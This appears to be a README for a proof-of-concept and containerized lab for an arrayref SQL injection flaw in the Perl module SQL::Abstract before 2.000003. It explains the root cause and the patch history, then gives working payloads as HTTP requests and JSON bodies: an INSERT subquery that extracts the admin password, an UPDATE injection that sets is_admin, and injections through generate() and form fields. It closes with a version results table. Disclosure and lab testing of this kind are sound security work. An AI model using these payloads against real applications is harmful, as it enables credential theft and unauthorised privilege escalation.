
PoC and containerized lab for CVE-2026-121265, an arrayref SQL injection in SQL::Abstract before 2.000003, with INSERT/UPDATE exfiltration, privilege escalation and generate() vectors.
Root cause: with the array_datatypes option off (the default before 2.000002),
SQL::Abstract treats an arrayref column value as literal SQL in insert(),
update() and values(): element [0] goes into the SQL text unescaped and the
rest become bind values. An attacker who controls any column value -- e.g. a JSON
array in a request body, or a repeated/multi-value form field decoded as an
arrayref -- gets unauthenticated SQL injection in any application that passes
request data to insert/update. The same flaw survived the first patch round
in generate() (and therefore in AUTOLOAD when allow_autoload is on), which
is why the advisory covers every release before 2.000003.
| CVE | CVE-2026-121265 |
| Advisory | CPAN Security Group, oss-sec 2026-11-07 |
| CWE | CWE-89 (SQL Injection) |
| Affected | SQL::Abstract < 2.000003 (1.87, 2.000000, 2.000001, 2.000002, dev 2.000001_01.._05) |
| Fixed | 2.000003 (generate() patched; 2.000002 fixed insert/update/values + flipped the array_datatypes default but missed generate()) |
| Impact | Full SQL injection: data exfiltration, privilege escalation, schema tampering |
| References | https://seclists.org/oss-sec/2026/q4/574 , https://github.com/dbsrgits/sql-abstract |
SQL-Abstract-2.000001, _expand_insert_value():
if (ref($v) eq 'ARRAY') {
if ($self->{array_datatypes}) {
return +{ -bind => [ $k, $v ] };
}
my ($sql, @bind) = @$v;
$self->_assert_bindval_matches_bindtype(@bind);
return +{ -literal => $v }; # <-- element [0] inlined into the SQL text, unescaped
}
The identical pattern existed in _expand_update_set_values() and in
generate() (both the hashref branch "$label = $sql" and the arrayref branch):
$sqla->update('t', { name => ["x, is_admin = 1"] });
# < 2.000002 default: UPDATE t SET name = x, is_admin = 1
# 2.000002+: UPDATE t SET name = ? (bind: ['x, is_admin = 1'])
$sqla->generate('update t', { name => ["(SELECT password FROM users)"] });
# 2.000002: UPDATE T SET name = (SELECT password FROM users) <-- still vulnerable
# 2.000003: UPDATE T SET name = ? (bind)
Fix timeline (from the 2.000002 / 2.000003 Changes):
2.000001_05 (2026-11-03): incomplete fix.2.000002 (2026-11-05): array_datatypes on by default; insert() / update() /
values() patched. generate() left untreated.2.000003 (2026-11-06): generate() (and AUTOLOAD) patched; \[ $sql, @bind ]
becomes the documented literal-SQL form.An attacker reaches the arrayref value through any decoder that produces one:
{"email": ["(SELECT ...)"]} → arrayref.every_param() / list-context param() (CGI.pm,
Catalyst, Mojolicious, ...).Containerized (podman) A/B lab. One image per SQL::Abstract version, plus an
ARRAY_DATATYPES=0 build of 2.000003 to exercise the bypass.
cve-target (bounded) cve-pocN attacker (bounded, --rm)
image cvelab-target:<ver> same image as runtime + ./poc:/poc
- debian:bookworm-slim perl + Mojo::UserAgent
- SQL::Abstract <ver> built from CPAN src
- DBD::SQLite + Mojolicious
- app.pl JSON API "Corp Portal"
Endpoints:
| Endpoint | Sink | Used by |
|---|---|---|
POST /api/register | insert() from JSON body | PoC 1 |
POST /api/register-form | insert() from form (every_param arrayref) | PoC 4 |
POST /api/me/update | update() from JSON body | PoC 2 |
POST /api/save-form | generate() to build a SET clause | PoC 3 |
POST /api/login, GET /api/me, GET /api/admin/flag, GET /api/admin/secrets | parameterized | exfil / impact |
cd lab
./run_matrix.sh # build + run the full version/config matrix, transcripts -> evidence/
./run_poc.sh all # run PoC 1..4 against the running target
poc/poc1_insert_exfil.pl)POST /api/register
{"username":"poc1_<ts>","email":["(SELECT password FROM users WHERE username='admin')"],"password":"x"}
Generated SQL (2.000001): INSERT INTO users (email, password, username) VALUES (?, ?, (SELECT password FROM users WHERE username='admin')) -- the
subquery result is stored as the attacker's email and returned in the profile:
FLAG{adm1n_p4ssw0rd_51337}.
poc/poc2_update_escalate.pl)POST /api/me/update (X-Api-Key: <regular user token>)
{"bio":["'x', is_admin = 1 --"],"email":"..."}
Generated SQL: UPDATE users SET bio = 'x', is_admin = 1 --, email = ? WHERE id = ?
The -- comments out the rest of the statement (DBD::SQLite silently ignores
the now-unused bind values). The regular user becomes admin and reads
GET /api/admin/flag -> FLAG{c0rp_p0rt4l_pr0duct10n_fl4g_2026}.
generate() / AUTOLOAD injection (poc/poc3_generate_autoload.pl)POST /api/save-form
{"fields":{"bio":["'x', is_admin = 1 --"]}}
The endpoint builds a SET clause with generate() and splices it into an
UPDATE. Works on 2.000001 and still on 2.000002, where insert()/update()
were already patched -- direct proof that 2.000002 remains exploitable via the
last path fixed in 2.000003.
poc/poc4_form_array.pl)POST /api/register-form (application/x-www-form-urlencoded)
username=poc4_<ts>&password=x&tags=(SELECT password FROM users WHERE username='admin')
every_param('tags') returns an arrayref -> the same primitive as the JSON
array, no JSON involved.
Full transcripts in evidence/. Exit code 0 = exploitation succeeded.
| PoC | 2.000001 | 2.000002 | 2.000003 | 2.000003 + array_datatypes=0 |
|---|---|---|---|---|
| PoC 1 INSERT exfil | ✅ | ❌ | ❌ | ✅ bypass |
| PoC 2 UPDATE escalation | ✅ | ❌ | ❌ | ✅ bypass |
PoC 3 generate() | ✅ | ✅ | ❌ | ✅ bypass |
| PoC 4 form | ✅ | ❌ | ❌ | ✅ bypass |